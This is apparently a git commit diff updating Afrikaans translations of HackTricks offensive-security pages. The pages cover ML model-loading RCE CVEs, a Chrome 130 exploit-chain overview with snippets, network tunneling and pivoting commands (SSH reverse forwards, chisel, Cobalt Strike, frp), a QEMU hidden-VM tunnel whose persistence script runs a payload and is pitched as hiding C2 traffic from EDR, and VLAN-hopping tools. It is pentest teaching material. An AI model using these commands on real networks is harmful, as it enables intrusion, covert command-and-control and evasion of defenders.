Translated ['src/AI/AI-Models-RCE.md', 'src/binary-exploitation/chrome-e

This commit is contained in:
Translator 2025-07-22 11:48:11 +00:00
parent 897b37eaae
commit 6ec640f294
14 changed files with 279 additions and 280 deletions

View File

@ -4,7 +4,7 @@
## Laai modelle na RCE
Masjienleer modelle word gewoonlik in verskillende formate gedeel, soos ONNX, TensorFlow, PyTorch, ens. Hierdie modelle kan in ontwikkelaars se masjiene of produksiesisteme gelaai word om hulle te gebruik. Gewoonlik behoort die modelle nie kwaadwillige kode te bevat nie, maar daar is sommige gevalle waar die model gebruik kan word om arbitrêre kode op die stelsel uit te voer as 'n beoogde funksie of as gevolg van 'n kwesbaarheid in die model laai biblioteek.
Masjienleer modelle word gewoonlik in verskillende formate gedeel, soos ONNX, TensorFlow, PyTorch, ens. Hierdie modelle kan in ontwikkelaars se masjiene of produksiesisteme gelaai word om hulle te gebruik. Gewoonlik behoort die modelle nie kwaadwillige kode te bevat nie, maar daar is 'n paar gevalle waar die model gebruik kan word om arbitrêre kode op die stelsel uit te voer as 'n beoogde funksie of as gevolg van 'n kwesbaarheid in die model laai biblioteek.
Tydens die skryf hiervan is hier 'n paar voorbeelde van hierdie tipe kwesbaarhede:
@ -12,18 +12,18 @@ Tydens die skryf hiervan is hier 'n paar voorbeelde van hierdie tipe kwesbaarhed
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
| **PyTorch** (Python) | *Onveilige deserialisering in* `torch.load` **(CVE-2025-32434)** | Kwaadwillige pickle in model kontrolepunt lei tot kode-uitvoering (om `weights_only` beskerming te omseil) | |
| PyTorch **TorchServe** | *ShellTorch* **CVE-2023-43654**, **CVE-2022-1471** | SSRF + kwaadwillige model aflaai veroorsaak kode-uitvoering; Java deserialisering RCE in bestuur API | |
| **TensorFlow/Keras** | **CVE-2021-37678** (onveilige YAML) <br> **CVE-2024-3660** (Keras Lambda) | Laai model vanaf YAML gebruik `yaml.unsafe_load` (kode exec) <br> Laai model met **Lambda** laag voer arbitrêre Python kode uit | |
| **TensorFlow/Keras** | **CVE-2021-37678** (onveilige YAML) <br> **CVE-2024-3660** (Keras Lambda) | Laai model vanaf YAML gebruik `yaml.unsafe_load` (kode exec) <br> Laai model met **Lambda** laag voer arbitrêre Python kode uit | |
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | Gemaakte `.tflite` model veroorsaak heelgetal oorgang → heap korrupsie (potensiële RCE) | |
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Laai 'n model via `joblib.load` voer pickle met aanvaller se `__reduce__` payload uit | |
| **NumPy** (Python) | **CVE-2019-6446** (onveilige `np.load`) *betwis* | `numpy.load` standaard het toegelaat dat gepekelde objekreeks kwaadwillige `.npy/.npz` veroorsaak kode exec | |
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Laai 'n model via `joblib.load` voer pickle met aanvaller se `__reduce__` payload uit | |
| **NumPy** (Python) | **CVE-2019-6446** (onveilige `np.load`) *betwis* | `numpy.load` standaard het toegelaat dat gepekelde objekreeks kwaadwillige `.npy/.npz` veroorsaak kode exec | |
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversaal) <br> **CVE-2024-5187** (tar traversaal) | ONNX model se eksterne gewigte pad kan die gids ontsnap (lees arbitrêre lêers) <br> Kwaadwillige ONNX model tar kan arbitrêre lêers oorskryf (wat lei tot RCE) | |
| ONNX Runtime (ontwerp risiko) | *(Geen CVE)* ONNX pasgemaakte ops / kontrole vloei | Model met pasgemaakte operator vereis laai van aanvaller se inheemse kode; komplekse model grafieke misbruik logika om onbedoelde berekeninge uit te voer | |
| **NVIDIA Triton Server** | **CVE-2023-31036** (pad traversaal) | Gebruik model-laai API met `--model-control` geaktiveer laat relatiewe pad traversaal toe om lêers te skryf (bv., oorskryf `.bashrc` vir RCE) | |
| **GGML (GGUF formaat)** | **CVE-2024-25664 … 25668** (meervoudige heap oorgange) | Misvormde GGUF model lêer veroorsaak heap buffer oorgange in parser, wat arbitrêre kode-uitvoering op die slagoffer stelsel moontlik maak | |
| **GGML (GGUF formaat)** | **CVE-2024-25664 … 25668** (meervoudige heap oorgange) | Gemaakte GGUF model lêer veroorsaak heap buffer oorgange in parser, wat arbitrêre kode-uitvoering op die slagoffer stelsel moontlik maak | |
| **Keras (ou formate)** | *(Geen nuwe CVE)* Erflike Keras H5 model | Kwaadwillige HDF5 (`.h5`) model met Lambda laag kode voer steeds uit op laai (Keras safe_mode dek nie ou formaat nie “downgrade aanval”) | |
| **Ander** (generies) | *Ontwerp fout* Pickle serialisering | Baie ML gereedskap (bv., pickle-gebaseerde model formate, Python `pickle.load`) sal arbitrêre kode wat in model lêers ingebed is uitvoer tensy dit gemitigeer word | |
Boonop is daar sommige python pickle-gebaseerde modelle soos die wat deur [PyTorch](https://github.com/pytorch/pytorch/security) gebruik word wat gebruik kan word om arbitrêre kode op die stelsel uit te voer as hulle nie met `weights_only=True` gelaai word nie. So, enige pickle-gebaseerde model kan spesiaal kwesbaar wees vir hierdie tipe aanvalle, selfs al is hulle nie in die tabel hierbo gelys nie.
Boonop is daar 'n paar python pickle-gebaseerde modelle soos die wat deur [PyTorch](https://github.com/pytorch/pytorch/security) gebruik word wat gebruik kan word om arbitrêre kode op die stelsel uit te voer as hulle nie met `weights_only=True` gelaai word nie. So, enige pickle-gebaseerde model kan spesiaal kwesbaar wees vir hierdie tipe aanvalle, selfs al is hulle nie in die tabel hierbo gelys nie.
### 🆕 InvokeAI RCE via `torch.load` (CVE-2024-12029)

View File

@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
> Hierdie bladsy bied 'n hoëvlak maar **praktiese** oorsig van 'n moderne "volledige-ketting" eksploitasiestroomwerk teen Google Chrome 130 gebaseer op die navorsingsreeks **“101 Chrome Exploitation”** (Deel-0 — Voorwoord).
> Hierdie bladsy bied 'n hoëvlak maar **praktiese** oorsig van 'n moderne "volledige-ketting" eksploitasiestroom teen Google Chrome 130 gebaseer op die navorsingsreeks **“101 Chrome Exploitation”** (Deel-0 — Voorwoord).
> Die doel is om pentesters en eksploitontwikkelaars die minimum agtergrond te gee wat nodig is om die tegnieke te herproduseer of aan te pas vir hul eie navorsing.
## 1. Chrome Argitektuur Herinnering
@ -37,7 +37,7 @@ Layered defence-in-depth:
1. Geheue korrupsie binne V8 om **arbitrêre RW binne die V8 heap** te verkry.
2. 'n Tweede fout wat die aanvaller toelaat om **uit die V8 sandbox na volle renderer geheue** te ontsnap.
3. 'n finale sandbox-ontsnapping (dikwels logika eerder as geheue korrupsie) om kode **buite die Chrome OS sandbox** uit te voer.
3. 'n Finale sandbox-ontsnapping (dikwels logika eerder as geheue korrupsie) om kode **buite die Chrome OS sandbox** uit te voer.
---
@ -65,7 +65,7 @@ end
end)
(export "f" (func $f)))
```
Trigger optimalisering & spuitobjekte vanaf JS:
Trigger optimalisering & spuit voorwerpe vanaf JS:
```js
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
@ -84,7 +84,7 @@ Outcome: **arbitraire lees/schryf binne V8**.
## 3. Stadium 2 Ontsnapping uit die V8 Sandbox (kwessie 379140430)
Wanneer 'n Wasm-funksie tier-up-gecompileer word, word 'n **JS ↔ Wasm-wrapper** gegenereer. 'n Handtekening-mismatch fout veroorsaak dat die wrapper oor die einde van 'n vertroude **`Tuple2`** objek skryf wanneer die Wasm-funksie heroptimiseer word *terwyl dit steeds op die stapel is*.
Wanneer 'n Wasm-funksie tier-up-gecompileer word, word 'n **JS ↔ Wasm-wrapper** gegenereer. 'n Handtekening-mismatch fout veroorsaak dat die wrapper oor die einde van 'n vertroude **`Tuple2`** objek skryf wanneer die Wasm-funksie her-optimaliseer word *terwyl dit steeds op die stapel is*.
Oorskryding van die 2 × 64-bit velde van die `Tuple2` objek lewer **lees/schryf op enige adres binne die Renderer-proses**, wat effektief die V8-sandbox omseil.
@ -109,7 +109,7 @@ Na korrupsie besit ons 'n volledig funksionele **renderer R/W primitive**.
Die **Mojo** IPC-koppelvlak `blink.mojom.DragService.startDragging()` kan vanaf die Renderer met *gedeeltelik vertroude* parameters aangeroep word. Deur 'n `DragData` struktuur te vervaardig wat na 'n **arbitêre lêerpad** wys, oortuig die renderer die blaaier om 'n *natuurlike* sleep-en-drop **buite die renderer sandbox** uit te voer.
Deur dit te misbruik, kan ons programmaties 'n kwaadwillige EXE (voorheen in 'n wêreld-skryfbare ligging gelaat) na die Desktop "sleep", waar Windows sekere lêer-tipes outomaties uitvoer sodra dit gelaat word.
Deur dit te misbruik, kan ons programmaties 'n kwaadwillige EXE (“previously dropped in a world-writable location”) na die Bureaublad “sleep”, waar Windows sekere lêer tipes outomaties uitvoer sodra dit gelaat word.
Voorbeeld (vereenvoudig):
```js
@ -124,7 +124,7 @@ mime_type: "application/x-msdownload"
}
});
```
Geen ekstra geheuekorruptie is nodig nie die **logika-fout** gee ons arbitrêre lêeruitvoering met die gebruiker se voorregte.
Geen ekstra geheuekorruptie is nodig nie die **logika-fout** gee ons arbitrêre lêeruitvoering met die gebruiker se bevoegdhede.
---
@ -135,11 +135,11 @@ Geen ekstra geheuekorruptie is nodig nie die **logika-fout** gee ons arbitr
3. **Fase 2**: Wrapper-mismatch korrupteer `Tuple2` → ontsnap V8 sandkas.
4. **Fase 3**: `startDragging()` IPC → ontsnap OS sandkas & voer payload uit.
Resultaat: **Afgeleë Kode-uitvoering (RCE)** op die gasheer (Chrome 130, Windows/Linux/macOS).
Resultaat: **Afgeleë Kode Uitvoering (RCE)** op die gasheer (Chrome 130, Windows/Linux/macOS).
---
## 6. Laboratorium & Foutopsporing Instelling
## 6. Laboratorium & Foutopsporing Opstelling
```bash
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
@ -158,7 +158,7 @@ chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-nativ
## Takeaways
* **WebAssembly JIT foute** bly 'n betroubare toegangspunt die tipe stelsel is steeds jonk.
* **WebAssembly JIT-foute** bly 'n betroubare toegangspunt die tipe stelsel is steeds jonk.
* Om 'n tweede geheue-korrupsie fout binne V8 te verkry (bv. wrapper wanpassing) vereenvoudig **V8-sandbox ontsnapping** aansienlik.
* Logika-vlak swakhede in bevoorregte Mojo IPC interfaces is dikwels voldoende vir 'n **finale sandbox ontsnapping** hou 'n oog op *nie-geheue* foute.
@ -166,5 +166,5 @@ chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-nativ
## References
* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
* [Chromium sekuriteitsargitektuur](https://chromium.org/developers/design-documents/security)
* [Chromium beveiligingsargitektuur](https://chromium.org/developers/design-documents/security)
{{#include ../banners/hacktricks-training.md}}

View File

@ -51,13 +51,13 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
```
### Port2hostnet (proxychains)
Plaaslike Poort --> Gecompromitteerde gasheer (SSH) --> Enigiemand
Plaaslike Poort --> Gecompromitteerde gasheer (SSH) --> Enige plek
```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
```
### Reverse Port Forwarding
### Omgekeerde Poort Voorwaartse
Dit is nuttig om omgekeerde shells van interne gasheer deur 'n DMZ na jou gasheer te kry:
Dit is nuttig om omgekeerde skale van interne gasheer deur 'n DMZ na jou gasheer te kry:
```bash
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
@ -89,12 +89,12 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
```
> [!NOTE]
> **Sekuriteit Terrapin Aanval (CVE-2023-48795)**
> Die 2023 Terrapin afgraderingsaanval kan 'n man-in-the-middle toelaat om met die vroeë SSH handdruk te sjoemel en data in **enige voortgelei kanaal** ( `-L`, `-R`, `-D` ) in te voeg. Verseker dat beide kliënt en bediener gepatch is (**OpenSSH ≥ 9.6/LibreSSH 6.7**) of dat die kwesbare `chacha20-poly1305@openssh.com` en `*-etm@openssh.com` algoritmes in `sshd_config`/`ssh_config` eksplisiet gedeaktiveer word voordat daar op SSH tonnels vertrou word.
> Die 2023 Terrapin afgraderingsaanval kan 'n man-in-the-middle toelaat om met die vroeë SSH handdruk te sjoemel en data in **enige oorgestuurde kanaal** ( `-L`, `-R`, `-D` ) in te voeg. Verseker dat beide kliënt en bediener gepatch is (**OpenSSH ≥ 9.6/LibreSSH 6.7**) of sluit die kwesbare `chacha20-poly1305@openssh.com` en `*-etm@openssh.com` algoritmes in `sshd_config`/`ssh_config` eksplisiet af voordat jy op SSH tonnels staatmaak.
## SSHUTTLE
Jy kan **tonnel** via **ssh** al die **verkeer** na 'n **subnetwerk** deur 'n gasheer.\
Byvoorbeeld, om al die verkeer wat na 10.10.10.0/24 gaan, voort te lei.
Byvoorbeeld, om al die verkeer wat na 10.10.10.0/24 gaan, te oorgestuur.
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
@ -136,9 +136,9 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
## Cobalt Strike
### SOCKS-proxy
### SOCKS proxy
Maak 'n poort in die spanbediener oop wat op al die interfaces luister wat gebruik kan word om die **verkeer deur die beacon te lei**.
Maak 'n poort op die spanbediener oop wat op al die interfaces luister wat gebruik kan word om die **verkeer deur die beacon te lei**.
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
@ -156,7 +156,7 @@ rportfwd stop [bind port]
```
Om op te let:
- Beacon se omgekeerde poort forwarding is ontwerp om **verkeer na die Spanbediener te tonnel, nie om te relay tussen individuele masjiene nie**.
- Beacon se omgekeerde poort forwarding is ontwerp om **verkeer na die Spanbediener te tonnel, nie om tussen individuele masjiene te relay nie**.
- Verkeer word **getonnel binne Beacon se C2 verkeer**, insluitend P2P skakels.
- **Admin regte is nie nodig** om omgekeerde poort forwards op hoë poorte te skep nie.
@ -172,7 +172,7 @@ rportfwd_local stop [bind port]
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
Jy moet 'n weblêer tonnel oplaai: ashx|aspx|js|jsp|php|php|jsp
Jy moet 'n weblêer-tunnel oplaai: ashx|aspx|js|jsp|php|php|jsp
```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
@ -190,7 +190,7 @@ Jy moet die **dieselfde weergawe vir kliënt en bediener** gebruik.
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
```
### Poort forwarding
### Poort deurstuurting
```bash
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
@ -300,7 +300,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke
**/bin/sh konsole**
Skep sertifikate aan beide kante: Kliënt en Bediener
Skep sertifikate aan albei kante: Kliënt en Bediener
```bash
# Execute these commands on both sides
FILENAME=socatssl
@ -379,7 +379,7 @@ In **Profile -> Proxification Rules** voeg die naam van die program wat geproxif
## NTLM proxy bypass
Die voorheen genoemde hulpmiddel: **Rpivot**\
**OpenVPN** kan dit ook omseil, deur hierdie opsies in die konfigurasie-lêer in te stel:
**OpenVPN** kan dit ook omseil deur hierdie opsies in die konfigurasie-lêer in te stel:
```bash
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
```
@ -387,8 +387,8 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
Dit verifieer teen 'n proxy en bind 'n poort plaaslik wat na die eksterne diens wat jy spesifiseer, voortgegee word. Dan kan jy die hulpmiddel van jou keuse deur hierdie poort gebruik.\
Byvoorbeeld, dit voer poort 443 voort.
Dit verifieer teen 'n proxy en bind 'n poort plaaslik wat na die eksterne diens wat jy spesifiseer, deurgegee word. Dan kan jy die hulpmiddel van jou keuse deur hierdie poort gebruik.\
Byvoorbeeld, dit gee die poort 443 deur.
```
Username Alice
Password P@ssw0rd
@ -415,7 +415,7 @@ attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
Die tonnel sal baie stadig wees. U kan 'n gecomprimeerde SSH-verbinding deur hierdie tonnel skep deur te gebruik:
Die tonnel sal baie stadig wees. Jy kan 'n gecomprimeerde SSH-verbinding deur hierdie tonnel skep deur te gebruik:
```
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
@ -448,7 +448,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
Proxychains onderskep `gethostbyname` libc oproep en tonnels tcp DNS versoek deur die socks proxy. Deur **verstek** is die **DNS** bediener wat proxychains gebruik **4.2.2.2** (hardgecodeer). Om dit te verander, wysig die lêer: _/usr/lib/proxychains3/proxyresolv_ en verander die IP. As jy in 'n **Windows omgewing** is, kan jy die IP van die **domeinbeheerder** stel.
## Tunnels in Go
## Tonnels in Go
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
@ -517,7 +517,7 @@ _Dit is ook moontlik om outentisering en TLS by te voeg, indien nodig._
```
#### Sniffing HTTP calls
_Nuttig vir XSS, SSRF, SSTI ..._\
_nuttig vir XSS, SSRF, SSTI ..._\
Direk vanaf stdout of in die HTTP-koppelvlak [http://127.0.0.1:4040](http://127.0.0.1:4000).
#### Tunneling internal HTTP service
@ -561,7 +561,7 @@ cloudflared tunnel --url http://localhost:8080
cloudflared tunnel --url socks5://localhost:1080 --socks5
# Now configure proxychains to use 127.0.0.1:1080
```
### Volgehoude tonnels met DNS
### Volhoubare tonnels met DNS
```bash
cloudflared tunnel create mytunnel
cloudflared tunnel route dns mytunnel internal.example.com
@ -574,13 +574,13 @@ Begin die connector:
```bash
cloudflared tunnel run mytunnel
```
Omdat alle verkeer die die gasheer **uitgaand oor 443** verlaat, is Cloudflared tonnels 'n eenvoudige manier om ingangs ACLs of NAT-grense te omseil. Wees bewus daarvan dat die binêre gewoonlik met verhoogde voorregte loop gebruik houers of die `--user` vlag wanneer moontlik.
Omdat alle verkeer die die gasheer **uitgaande oor 443** verlaat, is Cloudflared tonnels 'n eenvoudige manier om ingangs ACLs of NAT-grense te omseil. Wees bewus daarvan dat die binêre gewoonlik met verhoogde voorregte loop gebruik houers of die `--user` vlag wanneer moontlik.
## FRP (Fast Reverse Proxy)
[`frp`](https://github.com/fatedier/frp) is 'n aktief-onderhoubare Go omgekeerde proxy wat **TCP, UDP, HTTP/S, SOCKS en P2P NAT-gat-punching** ondersteun. Begin met **v0.53.0 (Mei 2024)** kan dit as 'n **SSH Tunnel Gateway** optree, sodat 'n teiken gasheer 'n omgekeerde tonnel kan opstel met slegs die standaard OpenSSH-kliënt geen ekstra binêre benodig nie.
[`frp`](https://github.com/fatedier/frp) is 'n aktief-onderhoubare Go omgekeerde-proxy wat **TCP, UDP, HTTP/S, SOCKS en P2P NAT-gat-punching** ondersteun. Begin met **v0.53.0 (Mei 2024)** kan dit as 'n **SSH Tunnel Gateway** optree, sodat 'n teiken gasheer 'n omgekeerde tunnel kan opstel met slegs die standaard OpenSSH-kliënt geen ekstra binêre benodig nie.
### Klassieke omgekeerde TCP-tonnel
### Klassieke omgekeerde TCP-tunnel
```bash
# Attacker / server
./frps -c frps.toml # listens on 0.0.0.0:7000
@ -599,7 +599,7 @@ localIP = "127.0.0.1"
localPort = 3389
remotePort = 5000
```
### Gebruik die nuwe SSH-gateway (geen frpc-binary)
### Gebruik van die nuwe SSH-gateway (geen frpc-binary)
```bash
# On frps (attacker)
sshTunnelGateway.bindPort = 2200 # add to frps.toml
@ -612,7 +612,7 @@ Die bogenoemde opdrag publiseer die slagoffer se poort **8080** as **attacker_ip
## Verborgen VM-gebaseerde tonnels met QEMU
QEMU se gebruikersmodus-netwerk (`-netdev user`) ondersteun 'n opsie genaamd `hostfwd` wat **'n TCP/UDP-poort op die *gasheer* bind en dit na die *gasheer* voortstuur**. Wanneer die gasheer 'n volle SSH-daemon draai, bied die hostfwd-reël jou 'n weggooibare SSH-jump box wat heeltemal binne 'n ephemerale VM leef perfek om C2-verkeer van EDR te verberg omdat alle kwaadwillige aktiwiteit en lêers in die virtuele skyf bly.
QEMU se gebruikersmodus-netwerk (`-netdev user`) ondersteun 'n opsie genaamd `hostfwd` wat **'n TCP/UDP-poort op die *gasheer* bind en dit na die *gas** stuur. Wanneer die gasheer 'n volle SSH-daemon draai, bied die hostfwd-reël jou 'n weggooibare SSH-jump box wat heeltemal binne 'n ephemerale VM leef perfek om C2-verkeer van EDR te verberg omdat alle kwaadwillige aktiwiteit en lêers in die virtuele skyf bly.
### Vinning een-liner
```powershell
@ -625,7 +625,7 @@ qemu-system-x86_64.exe ^
-nographic
```
• Die opdrag hierbo begin 'n **Tiny Core Linux** beeld (`tc.qcow2`) in RAM.
• Poort **2222/tcp** op die Windows-gasheer word deursigtig na **22/tcp** binne die gas teruggestuur.
• Poort **2222/tcp** op die Windows-gasheer word deursigtig na **22/tcp** binne die gasheer oorgedra.
• Vanuit die aanvaller se oogpunt stel die teiken eenvoudig poort 2222 bloot; enige pakkette wat dit bereik, word hanteer deur die SSH-bediener wat in die VM loop.
### Stealthy bekendstelling deur VBScript
@ -634,9 +634,9 @@ qemu-system-x86_64.exe ^
Set o = CreateObject("Wscript.Shell")
o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tcp::2222-:22", 0
```
Running the script with `cscript.exe //B update.vbs` hou die venster weg.
Running the script with `cscript.exe //B update.vbs` hou die venster verborge.
### In-gas volharding
### In-gas persistentie
Omdat Tiny Core stateless is, doen aanvallers gewoonlik:
@ -648,7 +648,7 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
/opt/123.out
```
3. Voeg `home/tc` en `opt` by `/opt/filetool.lst` sodat die payload in `mydata.tgz` gepak word tydens afsluiting.
3. Voeg `home/tc` en `opt` by `/opt/filetool.lst` sodat die payload in `mydata.tgz` gepak word by afsluiting.
### Waarom dit opsporing ontduik

View File

@ -46,17 +46,17 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
```
Verbondenheid word getoets deur ICMP versoeke na die standaard gateways vir VLANs 10, 20, 50, en 60 te begin.
Uiteindelik stel hierdie proses die omseiling van VLAN-segmentasie in staat, wat onbeperkte toegang tot enige VLAN-netwerk fasiliteer, en die grondslag vir daaropvolgende aksies lê.
Uiteindelik stel hierdie proses die omseiling van VLAN-segmentasie in staat, wat onbeperkte toegang tot enige VLAN-netwerk fasiliteer, en die grondslag vir daaropvolgende aksies stel.
---
## Ander VLAN-Hopping Tegnieke (geen bevoorregte skakelaar CLI)
Die vorige metode neem aan dat daar geverifieerde konsole of Telnet/SSH toegang tot die skakelaar is. In werklike betrokkenhede is die aanvaller gewoonlik aan 'n **gewone toegangspoort** gekoppel. Die volgende Laag-2 truuks laat jou dikwels lateraal beweeg sonder om ooit in die skakelaar OS in te teken:
Die vorige metode neem aan dat daar geverifieerde konsole of Telnet/SSH toegang tot die skakelaar is. In werklike betrokkenhede is die aanvaller gewoonlik aan 'n **gewone toegangspoort** gekoppel. Die volgende Laag-2 truuks laat jou dikwels lateraal pivot sonder om ooit in die skakelaar OS in te teken:
### 1. Skakelaar-Spoofing met Dynamiese Trunking Protokol (DTP)
Cisco-skakelaars wat DTP geaktiveer hou, sal gelukkig 'n trunk onderhandel as die maat beweer 'n skakelaar te wees. Om 'n enkele **DTP “desirable”** of **“trunk”** raam te skep, omskep die toegangspoort in 'n 802.1Q trunk wat *alle* toegelate VLANs dra.
Cisco-skakelaars wat DTP geaktiveer hou, sal gelukkig 'n trunk onderhandel as die peer beweer dat dit 'n skakelaar is. Om 'n enkele **DTP “desirable”** of **“trunk”** raam te skep, omskep die toegangspoort in 'n 802.1Q trunk wat *alle* toegelate VLANs dra.
*Yersinia* en verskeie PoCs outomatiseer die proses:
```bash
@ -67,7 +67,7 @@ $ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
```
Sodra die poort na trunk oorgeskakel word, kan jy 802.1Q sub-interfases skep en presies soos in die vorige afdeling getoon, pivot. Moderne Linux-kernels vereis nie meer *vconfig* nie; gebruik eerder *ip link*:
Sodra die poort na trunk oorgeskakel word, kan jy 802.1Q sub-interfaces skep en presies soos in die vorige afdeling getoon, pivot. Moderne Linux-kernels vereis nie meer *vconfig* nie; gebruik eerder *ip link*:
```bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
@ -76,7 +76,7 @@ sudo ip link set eth0.30 up
```
### 2. Dubbel-Tagging (Native-VLAN Misbruik)
As die aanvaller op die **native (onttag) VLAN** sit, kan 'n vervaardigde raam met *twee* 802.1Q koppe "spring" na 'n tweede VLAN selfs wanneer die poort in toegangmodus vergrendel is. Gereedskap soos **VLANPWN DoubleTagging.py** (2022-2024 opknapping) outomatiseer die inspuiting:
As die aanvaller op die **native (onttag) VLAN** sit, kan 'n vervaardigde raam met *twee* 802.1Q koppe na 'n tweede VLAN "spring" selfs wanneer die poort in toegangmodus vergrendel is. Gereedskap soos **VLANPWN DoubleTagging.py** (2022-2024 verfrissing) outomatiseer die inspuiting:
```bash
python3 DoubleTagging.py \
--interface eth0 \
@ -86,14 +86,14 @@ python3 DoubleTagging.py \
--attacker 10.10.1.54
```
Packet walk-through:
1. Buiteteg (1) word verwyder deur die eerste skakel omdat dit die inheemse VLAN ooreenstem.
2. Binne-tag (20) is nou blootgestel; die raamwerk word na die trunk na VLAN 20 gestuur.
1. Die buite etiket (1) word verwyder deur die eerste skakel omdat dit die inheemse VLAN ooreenstem.
2. Die binne etiket (20) is nou blootgestel; die raamwerk word na die trunk na VLAN 20 gestuur.
Die tegniek werk steeds in 2025 op netwerke wat die inheemse VLAN op die standaard laat en ongetagde rame aanvaar.
### 3. QinQ (802.1ad) Stacking
Baie ondernemingskerns ondersteun *Q-in-Q* diensverskaffer enkapsulasie. Waar toegelaat, kan 'n aanvaller willekeurige 802.1Q-getagde verkeer binne 'n verskaffer (S-tag) tonnel om sekuriteitsgebiede oor te steek. Vang vir 802.1ad ethertype 0x88a8 en probeer om die buiteteg met Scapy te pop.
Baie ondernemingskerns ondersteun *Q-in-Q* diensverskaffer enkapsulasie. Waar toegelaat, kan 'n aanvaller willekeurige 802.1Q-getagde verkeer binne 'n verskaffer (S-tag) tonnel om sekuriteitsgebiede oor te steek. Vang vir 802.1ad ethertype 0x88a8 en probeer om die buite etiket met Scapy te pop:
```python
from scapy.all import *
outer = 100 # Service tag

View File

@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
## **GUI enumerasie**
## **GUI-enumerasie**
D-Bus word gebruik as die inter-proses kommunikasie (IPC) bemiddelaar in Ubuntu lessenaar omgewings. Op Ubuntu word die gelyktydige werking van verskeie boodskapbusse waargeneem: die stelselsbus, wat hoofsaaklik deur **bevoegde dienste gebruik word om dienste wat oor die stelsel relevant is, bloot te stel**, en 'n sessiebus vir elke ingelogde gebruiker, wat dienste blootstel wat slegs relevant is vir daardie spesifieke gebruiker. Die fokus hier is hoofsaaklik op die stelselsbus weens die verband met dienste wat op hoër bevoegdhede (bv. root) loop, aangesien ons doel is om bevoegdhede te verhoog. Dit word opgemerk dat D-Bus se argitektuur 'n 'router' per sessiebus gebruik, wat verantwoordelik is vir die herleiding van kliëntboodskappe na die toepaslike dienste gebaseer op die adres wat deur die kliënte vir die diens wat hulle wil kommunikeer, gespesifiseer is.
D-Bus word gebruik as die inter-proses kommunikasie (IPC) bemiddelaar in Ubuntu desktop omgewings. Op Ubuntu word die gelyktydige werking van verskeie boodskapbusse waargeneem: die stelselsbus, wat hoofsaaklik deur **bevoegde dienste gebruik word om dienste wat oor die stelsel relevant is, bloot te stel**, en 'n sessiebus vir elke ingelogde gebruiker, wat dienste blootstel wat slegs relevant is vir daardie spesifieke gebruiker. Die fokus hier is hoofsaaklik op die stelselsbus weens die verband met dienste wat op hoër bevoegdhede (bv. root) loop, aangesien ons doel is om bevoegdhede te verhoog. Dit word opgemerk dat D-Bus se argitektuur 'n 'router' per sessiebus gebruik, wat verantwoordelik is vir die herleiding van kliëntboodskappe na die toepaslike dienste gebaseer op die adres wat deur die kliënte vir die diens wat hulle wil kommunikeer, gespesifiseer is.
Dienste op D-Bus word gedefinieer deur die **objekte** en **interfaces** wat hulle blootstel. Objekte kan vergelyk word met klasinstansies in standaard OOP tale, met elke instansie uniek geïdentifiseer deur 'n **objekpad**. Hierdie pad, soortgelyk aan 'n lêerstelsel pad, identifiseer elke objek wat deur die diens blootgestel word. 'n Sleutelinterface vir navorsingsdoeleindes is die **org.freedesktop.DBus.Introspectable** interface, wat 'n enkele metode, Introspect, bevat. Hierdie metode keer 'n XML voorstelling van die objek se ondersteunende metodes, seine, en eienskappe terug, met 'n fokus hier op metodes terwyl eienskappe en seine weggelaat word.
